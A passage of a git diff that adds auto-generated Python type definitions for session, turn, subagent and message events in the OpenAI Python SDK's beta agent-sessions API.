+ - `connected` - The environment is connected.
+ - `disconnected` - The environment is disconnected.
+ - `failed` - The environment failed to connect.
+ """
+
+ type: str
+ """The environment type."""
diff --git a/src/openai/types/beta/agent_session_error_event.py b/src/openai/types/beta/agent_session_error_event.py
new file mode 100644
index 0000000000..0f72f960ce
--- /dev/null
+++ b/src/openai/types/beta/agent_session_error_event.py
@@ -0,0 +1,24 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .session_error import SessionError
+
+__all__ = ["AgentSessionErrorEvent"]
+
+
+class AgentSessionErrorEvent(BaseModel):
+ """Emitted when a turn or session fails."""
+
+ error: SessionError
+ """The error that occurred."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ type: Literal["error"]
+ """The type of the object. Always `error`."""
diff --git a/src/openai/types/beta/agent_session_event.py b/src/openai/types/beta/agent_session_event.py
new file mode 100644
index 0000000000..c395f49d6a
--- /dev/null
+++ b/src/openai/types/beta/agent_session_event.py
@@ -0,0 +1,74 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from .agent_session_idle_event import AgentSessionIdleEvent
+from .agent_session_error_event import AgentSessionErrorEvent
+from .agent_session_failed_event import AgentSessionFailedEvent
+from .agent_session_created_event import AgentSessionCreatedEvent
+from .agent_session_in_progress_event import AgentSessionInProgressEvent
+from .agent_session_turn_failed_event import AgentSessionTurnFailedEvent
+from .agent_session_turn_created_event import AgentSessionTurnCreatedEvent
+from .agent_session_turn_cancelled_event import AgentSessionTurnCancelledEvent
+from .agent_session_turn_completed_event import AgentSessionTurnCompletedEvent
+from .agent_session_turn_item_done_event import AgentSessionTurnItemDoneEvent
+from .agent_session_requires_action_event import AgentSessionRequiresActionEvent
+from .agent_session_subagent_active_event import AgentSessionSubagentActiveEvent
+from .agent_session_subagent_closed_event import AgentSessionSubagentClosedEvent
+from .agent_session_turn_item_added_event import AgentSessionTurnItemAddedEvent
+from .agent_session_subagent_created_event import AgentSessionSubagentCreatedEvent
+from .agent_session_turn_in_progress_event import AgentSessionTurnInProgressEvent
+from .agent_session_environment_ready_event import AgentSessionEnvironmentReadyEvent
+from .agent_session_environment_failed_event import AgentSessionEnvironmentFailedEvent
+from .agent_session_environment_pending_event import AgentSessionEnvironmentPendingEvent
+from .agent_session_environment_connected_event import AgentSessionEnvironmentConnectedEvent
+from .agent_session_turn_output_text_done_event import AgentSessionTurnOutputTextDoneEvent
+from .agent_session_turn_content_part_done_event import AgentSessionTurnContentPartDoneEvent
+from .agent_session_turn_output_text_delta_event import AgentSessionTurnOutputTextDeltaEvent
+from .agent_session_turn_content_part_added_event import AgentSessionTurnContentPartAddedEvent
+from .agent_session_environment_disconnected_event import AgentSessionEnvironmentDisconnectedEvent
+from .agent_output_command_execution_output_delta_event import AgentOutputCommandExecutionOutputDeltaEvent
+from .agent_session_turn_reasoning_summary_part_done_event import AgentSessionTurnReasoningSummaryPartDoneEvent
+from .agent_session_turn_reasoning_summary_text_done_event import AgentSessionTurnReasoningSummaryTextDoneEvent
+from .agent_session_turn_reasoning_summary_part_added_event import AgentSessionTurnReasoningSummaryPartAddedEvent
+from .agent_session_turn_reasoning_summary_text_delta_event import AgentSessionTurnReasoningSummaryTextDeltaEvent
+
+__all__ = ["AgentSessionEvent"]
+
+AgentSessionEvent: TypeAlias = Annotated[
+ Union[
+ AgentSessionErrorEvent,
+ AgentSessionEnvironmentReadyEvent,
+ AgentOutputCommandExecutionOutputDeltaEvent,
+ AgentSessionCreatedEvent,
+ AgentSessionTurnCreatedEvent,
+ AgentSessionTurnInProgressEvent,
+ AgentSessionTurnCompletedEvent,
+ AgentSessionTurnFailedEvent,
+ AgentSessionTurnCancelledEvent,
+ AgentSessionTurnItemAddedEvent,
+ AgentSessionIdleEvent,
+ AgentSessionInProgressEvent,
+ AgentSessionRequiresActionEvent,
+ AgentSessionFailedEvent,
+ AgentSessionEnvironmentPendingEvent,
+ AgentSessionEnvironmentConnectedEvent,
+ AgentSessionEnvironmentDisconnectedEvent,
+ AgentSessionEnvironmentFailedEvent,
+ AgentSessionSubagentCreatedEvent,
+ AgentSessionSubagentActiveEvent,
+ AgentSessionSubagentClosedEvent,
+ AgentSessionTurnItemDoneEvent,
+ AgentSessionTurnContentPartAddedEvent,
+ AgentSessionTurnContentPartDoneEvent,
+ AgentSessionTurnOutputTextDeltaEvent,
+ AgentSessionTurnOutputTextDoneEvent,
+ AgentSessionTurnReasoningSummaryPartAddedEvent,
+ AgentSessionTurnReasoningSummaryPartDoneEvent,
+ AgentSessionTurnReasoningSummaryTextDeltaEvent,
+ AgentSessionTurnReasoningSummaryTextDoneEvent,
+ ],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/beta/agent_session_failed_event.py b/src/openai/types/beta/agent_session_failed_event.py
new file mode 100644
index 0000000000..61e46b1960
--- /dev/null
+++ b/src/openai/types/beta/agent_session_failed_event.py
@@ -0,0 +1,21 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_session import AgentSession
+
+__all__ = ["AgentSessionFailedEvent"]
+
+
+class AgentSessionFailedEvent(BaseModel):
+ """Emitted when a session fails."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ session: AgentSession
+ """The failed session."""
+
+ type: Literal["agent.session.failed"]
+ """The type of the object. Always `agent.session.failed`."""
diff --git a/src/openai/types/beta/agent_session_idle_event.py b/src/openai/types/beta/agent_session_idle_event.py
new file mode 100644
index 0000000000..dba78f7225
--- /dev/null
+++ b/src/openai/types/beta/agent_session_idle_event.py
@@ -0,0 +1,21 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_session import AgentSession
+
+__all__ = ["AgentSessionIdleEvent"]
+
+
+class AgentSessionIdleEvent(BaseModel):
+ """Emitted when a session becomes idle."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ session: AgentSession
+ """The session that became idle."""
+
+ type: Literal["agent.session.idle"]
+ """The type of the object. Always `agent.session.idle`."""
diff --git a/src/openai/types/beta/agent_session_in_progress_event.py b/src/openai/types/beta/agent_session_in_progress_event.py
new file mode 100644
index 0000000000..ac2c49c727
--- /dev/null
+++ b/src/openai/types/beta/agent_session_in_progress_event.py
@@ -0,0 +1,21 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_session import AgentSession
+
+__all__ = ["AgentSessionInProgressEvent"]
+
+
+class AgentSessionInProgressEvent(BaseModel):
+ """Emitted when a session starts processing a turn."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ session: AgentSession
+ """The session that started processing."""
+
+ type: Literal["agent.session.in_progress"]
+ """The type of the object. Always `agent.session.in_progress`."""
diff --git a/src/openai/types/beta/agent_session_input_message_param.py b/src/openai/types/beta/agent_session_input_message_param.py
new file mode 100644
index 0000000000..f8b1cf163c
--- /dev/null
+++ b/src/openai/types/beta/agent_session_input_message_param.py
@@ -0,0 +1,23 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Iterable
+from typing_extensions import Literal, Required, TypedDict
+
+from .input_content_param import InputContentParam
+
+__all__ = ["AgentSessionInputMessageParam"]
+
+
+class AgentSessionInputMessageParam(TypedDict, total=False):
+ """A user message submitted to a session."""
+
+ content: Required[Iterable[InputContentParam]]
+ """The content of the message."""
+
+ role: Required[Literal["user"]]
+ """The role of the message author. Always `user`."""
+
+ type: Literal["message"]
+ """The type of the input item. Always `message`."""
diff --git a/src/openai/types/beta/agent_session_input_param.py b/src/openai/types/beta/agent_session_input_param.py
new file mode 100644
index 0000000000..d227452e65
--- /dev/null
+++ b/src/openai/types/beta/agent_session_input_param.py
@@ -0,0 +1,62 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union, Iterable, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from .agent_function_call_output_param import AgentFunctionCallOutputParam
+from .agent_session_input_message_param import AgentSessionInputMessageParam
+
+__all__ = [
+ "AgentSessionInputParam",
+ "SessionInputParamAgentSessionInputMessage",
+ "SessionInputParamAgentSessionInputCancel",
+ "SessionInputParamAgentSessionInputToolResult",
+]
+
+
+class SessionInputParamAgentSessionInputMessage(TypedDict, total=False):
+ """Adds one or more user messages and starts a turn."""
+
+ input: Required[Iterable[AgentSessionInputMessageParam]]
+ """The user messages to add to the session."""
+
+ type: Required[Literal["agent.session.input.message"]]
+ """The type of the object. Always `agent.session.input.message`."""
+
+
+class SessionInputParamAgentSessionInputCancel(TypedDict, total=False):
+ """Cancels the session's active turn."""
+
+ type: Required[Literal["agent.session.input.cancel"]]
+ """The type of the object. Always `agent.session.input.cancel`."""
+
+
+class SessionInputParamAgentSessionInputToolResult(TypedDict, total=False):
+ """Submits the result of a function call."""
+
+ call_id: Required[str]
+ """The ID of the function call."""
+
+ success: Required[bool]
+ """Whether the function call succeeded."""
+
+ turn_id: Required[str]
+ """The ID of the turn that requested the function call."""
+
+ type: Required[Literal["agent.session.input.tool_result"]]
+ """The type of the object. Always `agent.session.input.tool_result`."""
+
+ error: Optional[str]
+ """The error message when the call failed."""
+
+ output: Optional[AgentFunctionCallOutputParam]
+ """A function result represented as text or supported model-input content."""
+
+
+AgentSessionInputParam: TypeAlias = Union[
+ SessionInputParamAgentSessionInputMessage,
+ SessionInputParamAgentSessionInputCancel,
+ SessionInputParamAgentSessionInputToolResult,
+]
diff --git a/src/openai/types/beta/agent_session_item.py b/src/openai/types/beta/agent_session_item.py
new file mode 100644
index 0000000000..dc98abce0d
--- /dev/null
+++ b/src/openai/types/beta/agent_session_item.py
@@ -0,0 +1,92 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+from .agent_content import AgentContent
+from .agent_mcp_call_item import AgentMcpCallItem
+from .agent_reasoning_item import AgentReasoningItem
+from .agent_session_message import AgentSessionMessage
+from .agent_function_call_item import AgentFunctionCallItem
+from .agent_function_call_output import AgentFunctionCallOutput
+from .agent_function_call_status import AgentFunctionCallStatus
+from .agent_web_search_call_item import AgentWebSearchCallItem
+from .agent_command_execution_item import AgentCommandExecutionItem
+from .agent_close_subagent_call_item import AgentCloseSubagentCallItem
+from .agent_create_subagent_call_item import AgentCreateSubagentCallItem
+from .agent_resume_subagent_call_item import AgentResumeSubagentCallItem
+from .agent_interrupt_subagent_call_item import AgentInterruptSubagentCallItem
+from .agent_wait_for_subagents_call_item import AgentWaitForSubagentsCallItem
+from .agent_send_subagent_input_call_item import AgentSendSubagentInputCallItem
+
+__all__ = ["AgentSessionItem", "FunctionCallOutputItemResource", "AgentMessageItemResource"]
+
+
+class FunctionCallOutputItemResource(BaseModel):
+ """The result supplied for a function call."""
+
+ id: str
+ """The ID of the function call output item."""
+
+ call_id: str
+ """The ID of the function call that produced this output."""
+
+ error: Optional[str] = None
+ """The error message, if the call failed."""
+
+ output: Optional[AgentFunctionCallOutput] = None
+ """The text or model-input content supplied as a function result."""
+
+ status: AgentFunctionCallStatus
+ """The status of the function call."""
+
+ turn_id: str
+ """The ID of the turn that contains this item."""
+
+ type: Literal["function_call_output"]
+ """The item type. Always `function_call_output`."""
+
+
+class AgentMessageItemResource(BaseModel):
+ """A message exchanged between agent threads."""
+
+ id: str
+ """The ID of the message."""
+
+ content: List[AgentContent]
+ """The content exchanged between the agents."""
+
+ recipient_agent_id: str
+ """The ID or name of the receiving agent."""
+
+ sender_agent_id: str
+ """The ID or name of the sending agent."""
+
+ turn_id: str
+ """The ID of the turn that contains this item."""
+
+ type: Literal["agent_message"]
+ """The item type. Always `agent_message`."""
+
+
+AgentSessionItem: TypeAlias = Annotated[
+ Union[
+ AgentSessionMessage,
+ AgentReasoningItem,
+ AgentFunctionCallItem,
+ FunctionCallOutputItemResource,
+ AgentMessageItemResource,
+ AgentMcpCallItem,
+ AgentWebSearchCallItem,
+ AgentCommandExecutionItem,
+ AgentCreateSubagentCallItem,
+ AgentSendSubagentInputCallItem,
+ AgentResumeSubagentCallItem,
+ AgentWaitForSubagentsCallItem,
+ AgentInterruptSubagentCallItem,
+ AgentCloseSubagentCallItem,
+ ],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/beta/agent_session_message.py b/src/openai/types/beta/agent_session_message.py
new file mode 100644
index 0000000000..8b38947cc9
--- /dev/null
+++ b/src/openai/types/beta/agent_session_message.py
@@ -0,0 +1,50 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_output_item_status import AgentOutputItemStatus
+from .agent_session_message_content import AgentSessionMessageContent
+
+__all__ = ["AgentSessionMessage"]
+
+
+class AgentSessionMessage(BaseModel):
+ """A user or assistant message recorded in a session."""
+
+ id: Optional[str] = None
+ """
+ The ID of this item, or null for legacy user messages whose ID was not recorded.
+ """
+
+ content: List[AgentSessionMessageContent]
+ """The content of the message.
+
+ User messages contain input text or images; assistant messages contain output
+ text.
+ """
+
+ phase: Optional[Literal["commentary", "final_answer"]] = None
+ """The phase of an assistant message.
+
+ - `commentary` - Commentary produced while the agent works.
+ - `final_answer` - The agent's final answer.
+ """
+
+ role: Literal["user", "assistant"]
+ """The role of the message author."""
+
+ status: AgentOutputItemStatus
+ """The status of the message. User messages are always `completed`."""
+
+ turn_id: str
+ """The ID of the turn that contains this item."""
+
+ type: Literal["message"]
+ """The item type. Always `message`."""
+
+ @property
+ def output_text(self) -> str:
+ """Join all `output_text` content blocks, returning an empty string if none exist."""
+ return "".join(content.text for content in self.content if content.type == "output_text")
diff --git a/src/openai/types/beta/agent_session_message_content.py b/src/openai/types/beta/agent_session_message_content.py
new file mode 100644
index 0000000000..48b3763087
--- /dev/null
+++ b/src/openai/types/beta/agent_session_message_content.py
@@ -0,0 +1,53 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+
+__all__ = [
+ "AgentSessionMessageContent",
+ "MessageContentResourceInputText",
+ "MessageContentResourceInputImage",
+ "MessageContentResourceOutputText",
+]
+
+
+class MessageContentResourceInputText(BaseModel):
+ """Text supplied by the user."""
+
+ text: str
+ """The text supplied by the user."""
+
+ type: Literal["input_text"]
+ """The type of the object. Always `input_text`."""
+
+
+class MessageContentResourceInputImage(BaseModel):
+ """An image supplied by the user."""
+
+ image_url: str
+ """
+ The URL of the image supplied by the user, which may be a base64-encoded data
+ URL.
+ """
+
+ type: Literal["input_image"]
+ """The type of the object. Always `input_image`."""
+
+
+class MessageContentResourceOutputText(BaseModel):
+ """Text produced by the assistant."""
+
+ text: str
+ """The text produced by the assistant."""
+
+ type: Literal["output_text"]
+ """The type of the object. Always `output_text`."""
+
+
+AgentSessionMessageContent: TypeAlias = Annotated[
+ Union[MessageContentResourceInputText, MessageContentResourceInputImage, MessageContentResourceOutputText],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/beta/agent_session_requires_action_event.py b/src/openai/types/beta/agent_session_requires_action_event.py
new file mode 100644
index 0000000000..b80e4d9f85
--- /dev/null
+++ b/src/openai/types/beta/agent_session_requires_action_event.py
@@ -0,0 +1,21 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_session import AgentSession
+
+__all__ = ["AgentSessionRequiresActionEvent"]
+
+
+class AgentSessionRequiresActionEvent(BaseModel):
+ """Emitted when a session is waiting for one or more required actions."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ session: AgentSession
+ """The session and its current required actions."""
+
+ type: Literal["agent.session.requires_action"]
+ """The type of the object. Always `agent.session.requires_action`."""
diff --git a/src/openai/types/beta/agent_session_subagent_active_event.py b/src/openai/types/beta/agent_session_subagent_active_event.py
new file mode 100644
index 0000000000..09d55d1636
--- /dev/null
+++ b/src/openai/types/beta/agent_session_subagent_active_event.py
@@ -0,0 +1,21 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from .subagent import Subagent
+from ..._models import BaseModel
+
+__all__ = ["AgentSessionSubagentActiveEvent"]
+
+
+class AgentSessionSubagentActiveEvent(BaseModel):
+ """Emitted when a closed subagent successfully resumes."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ subagent: Subagent
+ """The subagent that resumed."""
+
+ type: Literal["agent.session.subagent.active"]
+ """The type of the object. Always `agent.session.subagent.active`."""
diff --git a/src/openai/types/beta/agent_session_subagent_closed_event.py b/src/openai/types/beta/agent_session_subagent_closed_event.py
new file mode 100644
index 0000000000..d55594c254
--- /dev/null
+++ b/src/openai/types/beta/agent_session_subagent_closed_event.py
@@ -0,0 +1,21 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from .subagent import Subagent
+from ..._models import BaseModel
+
+__all__ = ["AgentSessionSubagentClosedEvent"]
+
+
+class AgentSessionSubagentClosedEvent(BaseModel):
+ """Emitted when a subagent is closed."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ subagent: Subagent
+ """The subagent that was closed."""
+
+ type: Literal["agent.session.subagent.closed"]
+ """The type of the object. Always `agent.session.subagent.closed`."""
diff --git a/src/openai/types/beta/agent_session_subagent_created_event.py b/src/openai/types/beta/agent_session_subagent_created_event.py
new file mode 100644
index 0000000000..50fd72443c
--- /dev/null
+++ b/src/openai/types/beta/agent_session_subagent_created_event.py
@@ -0,0 +1,21 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from .subagent import Subagent
+from ..._models import BaseModel
+
+__all__ = ["AgentSessionSubagentCreatedEvent"]
+
+
+class AgentSessionSubagentCreatedEvent(BaseModel):
+ """Emitted when a subagent is created."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ subagent: Subagent
+ """The subagent that was created."""
+
+ type: Literal["agent.session.subagent.created"]
+ """The type of the object. Always `agent.session.subagent.created`."""
diff --git a/src/openai/types/beta/agent_session_turn_cancelled_event.py b/src/openai/types/beta/agent_session_turn_cancelled_event.py
new file mode 100644
index 0000000000..491e7efb55
--- /dev/null
+++ b/src/openai/types/beta/agent_session_turn_cancelled_event.py
@@ -0,0 +1,35 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .token_usage import TokenUsage
+from .agents.sessions.turn import Turn
+
+__all__ = ["AgentSessionTurnCancelledEvent"]
+
+
+class AgentSessionTurnCancelledEvent(BaseModel):
+ """Emitted when a turn is cancelled."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ turn: Turn
+ """The cancelled turn."""
+
+ turn_id: str
+ """The ID of the turn associated with the event."""
+
+ type: Literal["agent.session.turn.cancelled"]
+ """The type of the object. Always `agent.session.turn.cancelled`."""
+
+ usage: Optional[TokenUsage] = None
+ """Recorded token usage for a session or turn.
+
+ Usage is best effort and may change.
+ """
diff --git a/src/openai/types/beta/agent_session_turn_completed_event.py b/src/openai/types/beta/agent_session_turn_completed_event.py
new file mode 100644
index 0000000000..61019cfff5
--- /dev/null
+++ b/src/openai/types/beta/agent_session_turn_completed_event.py
@@ -0,0 +1,35 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .token_usage import TokenUsage
+from .agents.sessions.turn import Turn
+
+__all__ = ["AgentSessionTurnCompletedEvent"]
+
+
+class AgentSessionTurnCompletedEvent(BaseModel):
+ """Emitted when a turn completes."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ turn: Turn
+ """The completed turn."""
+
+ turn_id: str
+ """The ID of the turn associated with the event."""
+
+ type: Literal["agent.session.turn.completed"]
+ """The type of the object. Always `agent.session.turn.completed`."""
+
+ usage: Optional[TokenUsage] = None
+ """Recorded token usage for a session or turn.
+
+ Usage is best effort and may change.
+ """
diff --git a/src/openai/types/beta/agent_session_turn_content_part_added_event.py b/src/openai/types/beta/agent_session_turn_content_part_added_event.py
new file mode 100644
index 0000000000..7436c49ff5
--- /dev/null
+++ b/src/openai/types/beta/agent_session_turn_content_part_added_event.py
@@ -0,0 +1,37 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .output_text import OutputText
+
+__all__ = ["AgentSessionTurnContentPartAddedEvent"]
+
+
+class AgentSessionTurnContentPartAddedEvent(BaseModel):
+ """Emitted when an output text content part is added."""
+
+ content_index: int
+ """The index of the content part in the message."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ item_id: str
+ """The ID of the message item."""
+
+ output_index: int
+ """The index of the item in the turn output."""
+
+ part: OutputText
+ """The initial content part."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ turn_id: Optional[str] = None
+ """The ID of the turn associated with the event, when applicable."""
+
+ type: Literal["agent.session.turn.content_part.added"]
+ """The type of the object. Always `agent.session.turn.content_part.added`."""
diff --git a/src/openai/types/beta/agent_session_turn_content_part_done_event.py b/src/openai/types/beta/agent_session_turn_content_part_done_event.py
new file mode 100644
index 0000000000..79e9e959a9
--- /dev/null
+++ b/src/openai/types/beta/agent_session_turn_content_part_done_event.py
@@ -0,0 +1,37 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .output_text import OutputText
+
+__all__ = ["AgentSessionTurnContentPartDoneEvent"]
+
+
+class AgentSessionTurnContentPartDoneEvent(BaseModel):
+ """Emitted when an output content part is complete."""
+
+ content_index: int
+ """The index of the content part in the message."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ item_id: str
+ """The ID of the message item."""
+
+ output_index: int
+ """The index of the item in the turn output."""
+
+ part: OutputText
+ """The completed content part."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ turn_id: Optional[str] = None
+ """The ID of the turn associated with the event, when applicable."""
+
+ type: Literal["agent.session.turn.content_part.done"]
+ """The type of the object. Always `agent.session.turn.content_part.done`."""
diff --git a/src/openai/types/beta/agent_session_turn_created_event.py b/src/openai/types/beta/agent_session_turn_created_event.py
new file mode 100644
index 0000000000..f7b515f3c0
--- /dev/null
+++ b/src/openai/types/beta/agent_session_turn_created_event.py
@@ -0,0 +1,27 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agents.sessions.turn import Turn
+
+__all__ = ["AgentSessionTurnCreatedEvent"]
+
+
+class AgentSessionTurnCreatedEvent(BaseModel):
+ """Emitted when a turn is created."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ turn: Turn
+ """The turn at the time it was created."""
+
+ turn_id: str
+ """The ID of the turn associated with the event."""
+
+ type: Literal["agent.session.turn.created"]
+ """The type of the object. Always `agent.session.turn.created`."""
diff --git a/src/openai/types/beta/agent_session_turn_failed_event.py b/src/openai/types/beta/agent_session_turn_failed_event.py
new file mode 100644
index 0000000000..4a9bebbc04
--- /dev/null
+++ b/src/openai/types/beta/agent_session_turn_failed_event.py
@@ -0,0 +1,35 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .token_usage import TokenUsage
+from .agents.sessions.turn import Turn
+
+__all__ = ["AgentSessionTurnFailedEvent"]
+
+
+class AgentSessionTurnFailedEvent(BaseModel):
+ """Emitted when a turn fails."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ turn: Turn
+ """The failed turn."""
+
+ turn_id: str
+ """The ID of the turn associated with the event."""
+
+ type: Literal["agent.session.turn.failed"]
+ """The type of the object. Always `agent.session.turn.failed`."""
+
+ usage: Optional[TokenUsage] = None
+ """Recorded token usage for a session or turn.
+
+ Usage is best effort and may change.
+ """
diff --git a/src/openai/types/beta/agent_session_turn_in_progress_event.py b/src/openai/types/beta/agent_session_turn_in_progress_event.py
new file mode 100644
index 0000000000..9d5f3c83bd
--- /dev/null
+++ b/src/openai/types/beta/agent_session_turn_in_progress_event.py
@@ -0,0 +1,27 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agents.sessions.turn import Turn
+
+__all__ = ["AgentSessionTurnInProgressEvent"]
+
+
+class AgentSessionTurnInProgressEvent(BaseModel):
+ """Emitted when a turn starts running."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ turn: Turn
+ """The turn at the time it started running."""
+
+ turn_id: str
+ """The ID of the turn associated with the event."""
+
+ type: Literal["agent.session.turn.in_progress"]
+ """The type of the object. Always `agent.session.turn.in_progress`."""
diff --git a/src/openai/types/beta/agent_session_turn_item_added_event.py b/src/openai/types/beta/agent_session_turn_item_added_event.py
new file mode 100644
index 0000000000..11ac886305
--- /dev/null
+++ b/src/openai/types/beta/agent_session_turn_item_added_event.py
@@ -0,0 +1,31 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_session_item import AgentSessionItem
+
+__all__ = ["AgentSessionTurnItemAddedEvent"]
+
+
+class AgentSessionTurnItemAddedEvent(BaseModel):
+ """Emitted when an item is added to a turn."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ item: AgentSessionItem
+ """The item that was added."""
+
+ output_index: Optional[int] = None
+ """The index of the item in the turn output, when the item is agent output."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ turn_id: Optional[str] = None
+ """The ID of the turn associated with the event, when applicable."""
+
+ type: Literal["agent.session.turn.item.added"]
+ """The type of the object. Always `agent.session.turn.item.added`."""
diff --git a/src/openai/types/beta/agent_session_turn_item_done_event.py b/src/openai/types/beta/agent_session_turn_item_done_event.py
new file mode 100644
index 0000000000..34569910e5
--- /dev/null
+++ b/src/openai/types/beta/agent_session_turn_item_done_event.py
@@ -0,0 +1,31 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .agent_output_item import AgentOutputItem
+
+__all__ = ["AgentSessionTurnItemDoneEvent"]
+
+
+class AgentSessionTurnItemDoneEvent(BaseModel):
+ """Emitted when an output item is complete."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ item: AgentOutputItem
+ """The completed output item."""
+
+ output_index: int
+ """The index of the output item in the turn output."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ turn_id: Optional[str] = None
+ """The ID of the turn associated with the event, when applicable."""
+
+ type: Literal["agent.session.turn.item.done"]
+ """The type of the object. Always `agent.session.turn.item.done`."""
diff --git a/src/openai/types/beta/agent_session_turn_output_text_delta_event.py b/src/openai/types/beta/agent_session_turn_output_text_delta_event.py
new file mode 100644
index 0000000000..cbdaf40210
--- /dev/null
+++ b/src/openai/types/beta/agent_session_turn_output_text_delta_event.py
@@ -0,0 +1,36 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["AgentSessionTurnOutputTextDeltaEvent"]
+
+
+class AgentSessionTurnOutputTextDeltaEvent(BaseModel):
+ """Emitted when text is appended to an output text content part."""
+
+ content_index: int
+ """The index of the content part in the message."""
+
+ delta: str
+ """The text that was appended."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ item_id: str
+ """The ID of the message item."""
+
+ output_index: int
+ """The index of the item in the turn output."""
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ turn_id: Optional[str] = None
+ """The ID of the turn associated with the event, when applicable."""
+
+ type: Literal["agent.session.turn.output_text.delta"]
+ """The type of the object. Always `agent.session.turn.output_text.delta`."""
diff --git a/src/openai/types/beta/agent_session_turn_output_text_done_event.py b/src/openai/types/beta/agent_session_turn_output_text_done_event.py
new file mode 100644
index 0000000000..51813a0b11
--- /dev/null
+++ b/src/openai/types/beta/agent_session_turn_output_text_done_event.py
@@ -0,0 +1,36 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["AgentSessionTurnOutputTextDoneEvent"]
+
+
+class AgentSessionTurnOutputTextDoneEvent(BaseModel):
+ """Emitted when an output text content part is complete."""
+
+ content_index: int
+ """The index of the content part in the message."""
+
+ event_id: str
+ """The unique ID of the event."""
+
